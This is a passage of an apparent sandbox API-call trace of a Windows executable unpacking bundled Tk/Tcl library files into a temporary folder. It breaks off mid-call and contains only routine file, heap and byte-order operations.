[0044.924] htonl (hostlong=0x2c070000) returned 0x72c [0044.924] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.925] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.925] htonl (hostlong=0xf3150000) returned 0x15f3 [0044.925] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15f3) returned 0x562098 [0044.925] htonl (hostlong=0x2c070000) returned 0x72c [0044.925] htonl (hostlong=0xf3150000) returned 0x15f3 [0044.925] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563698 [0044.925] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563698 | out: hHeap=0x530000) returned 1 [0044.925] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.925] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.925] CloseHandle (hObject=0x10c) returned 1 [0044.925] GetLastError () returned 0x0 [0044.925] SetLastError (dwErrCode=0x0) [0044.925] GetLastError () returned 0x0 [0044.925] SetLastError (dwErrCode=0x0) [0044.925] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.925] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.925] GetFileType (hFile=0x10c) returned 0x1 [0044.925] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.925] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.925] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.925] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.925] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.925] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.926] CloseHandle (hObject=0x10c) returned 1 [0044.926] GetLastError () returned 0x0 [0044.926] SetLastError (dwErrCode=0x0) [0044.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.926] GetFileType (hFile=0x10c) returned 0x1 [0044.926] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.926] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.926] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.926] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.926] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.926] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.926] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.926] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.926] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.926] CloseHandle (hObject=0x10c) returned 1 [0044.926] GetLastError () returned 0x0 [0044.926] SetLastError (dwErrCode=0x0) [0044.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\notebook.tcl") returned 65 [0044.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\notebook.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\notebook.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.926] GetLastError () returned 0x2 [0044.926] SetLastError (dwErrCode=0x2) [0044.926] GetLastError () returned 0x2 [0044.926] SetLastError (dwErrCode=0x2) [0044.926] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\notebook.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\notebook.tcl", lpFilePart=0x0) returned 0x40 [0044.926] GetLastError () returned 0x2 [0044.927] SetLastError (dwErrCode=0x2) [0044.927] GetLastError () returned 0x2 [0044.927] SetLastError (dwErrCode=0x2) [0044.927] GetLastError () returned 0x2 [0044.927] SetLastError (dwErrCode=0x2) [0044.927] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\notebook.tcl") returned 65 [0044.927] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.927] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\notebook.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\notebook.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.927] GetFileType (hFile=0x10c) returned 0x1 [0044.927] htonl (hostlong=0xf3150000) returned 0x15f3 [0044.927] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.928] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.928] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x5f3, lpOverlapped=0x0) returned 1 [0044.928] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.928] CloseHandle (hObject=0x10c) returned 1 [0044.928] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.928] htonl (hostlong=0x30000000) returned 0x30 [0044.928] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.928] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.929] GetFileType (hFile=0x10c) returned 0x1 [0044.929] htonl (hostlong=0x42736000) returned 0x607342 [0044.929] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x652342, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.929] htonl (hostlong=0x88020000) returned 0x288 [0044.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x288) returned 0x550600 [0044.929] htonl (hostlong=0x88020000) returned 0x288 [0044.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.929] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.929] htonl (hostlong=0x80070000) returned 0x780 [0044.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x780) returned 0x55e278 [0044.929] htonl (hostlong=0x88020000) returned 0x288 [0044.929] htonl (hostlong=0x80070000) returned 0x780 [0044.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.929] CloseHandle (hObject=0x10c) returned 1 [0044.929] GetLastError () returned 0x0 [0044.929] SetLastError (dwErrCode=0x0) [0044.929] GetLastError () returned 0x0 [0044.929] SetLastError (dwErrCode=0x0) [0044.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.929] GetFileType (hFile=0x10c) returned 0x1 [0044.929] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.930] CloseHandle (hObject=0x10c) returned 1 [0044.930] GetLastError () returned 0x0 [0044.930] SetLastError (dwErrCode=0x0) [0044.930] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.930] GetFileType (hFile=0x10c) returned 0x1 [0044.930] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.930] CloseHandle (hObject=0x10c) returned 1 [0044.930] GetLastError () returned 0x0 [0044.931] SetLastError (dwErrCode=0x0) [0044.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\panedwindow.tcl") returned 68 [0044.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\panedwindow.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\panedwindow.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.934] GetLastError () returned 0x2 [0044.934] SetLastError (dwErrCode=0x2) [0044.934] GetLastError () returned 0x2 [0044.934] SetLastError (dwErrCode=0x2) [0044.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\panedwindow.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\panedwindow.tcl", lpFilePart=0x0) returned 0x43 [0044.934] GetLastError () returned 0x2 [0044.934] SetLastError (dwErrCode=0x2) [0044.934] GetLastError () returned 0x2 [0044.934] SetLastError (dwErrCode=0x2) [0044.934] GetLastError () returned 0x2 [0044.934] SetLastError (dwErrCode=0x2) [0044.934] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\panedwindow.tcl") returned 68 [0044.934] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\panedwindow.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\panedwindow.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.936] GetFileType (hFile=0x10c) returned 0x1 [0044.936] htonl (hostlong=0x80070000) returned 0x780 [0044.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.936] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x780, lpOverlapped=0x0) returned 1 [0044.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.937] CloseHandle (hObject=0x10c) returned 1 [0044.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.937] htonl (hostlong=0x30000000) returned 0x30 [0044.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.937] GetFileType (hFile=0x10c) returned 0x1 [0044.937] htonl (hostlong=0xca756000) returned 0x6075ca [0044.937] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6525ca, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.937] htonl (hostlong=0xaf010000) returned 0x1af [0044.937] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1af) returned 0x550600 [0044.938] htonl (hostlong=0xaf010000) returned 0x1af [0044.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.938] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.938] htonl (hostlong=0x41040000) returned 0x441 [0044.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x441) returned 0x5507b8 [0044.938] htonl (hostlong=0xaf010000) returned 0x1af [0044.938] htonl (hostlong=0x41040000) returned 0x441 [0044.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.938] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.938] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.938] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.938] CloseHandle (hObject=0x10c) returned 1 [0044.938] GetLastError () returned 0x0 [0044.938] SetLastError (dwErrCode=0x0) [0044.938] GetLastError () returned 0x0 [0044.938] SetLastError (dwErrCode=0x0) [0044.938] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.938] GetFileType (hFile=0x10c) returned 0x1 [0044.938] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.939] CloseHandle (hObject=0x10c) returned 1 [0044.939] GetLastError () returned 0x0 [0044.939] SetLastError (dwErrCode=0x0) [0044.939] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.939] GetFileType (hFile=0x10c) returned 0x1 [0044.939] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.939] CloseHandle (hObject=0x10c) returned 1 [0044.939] GetLastError () returned 0x0 [0044.939] SetLastError (dwErrCode=0x0) [0044.939] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, 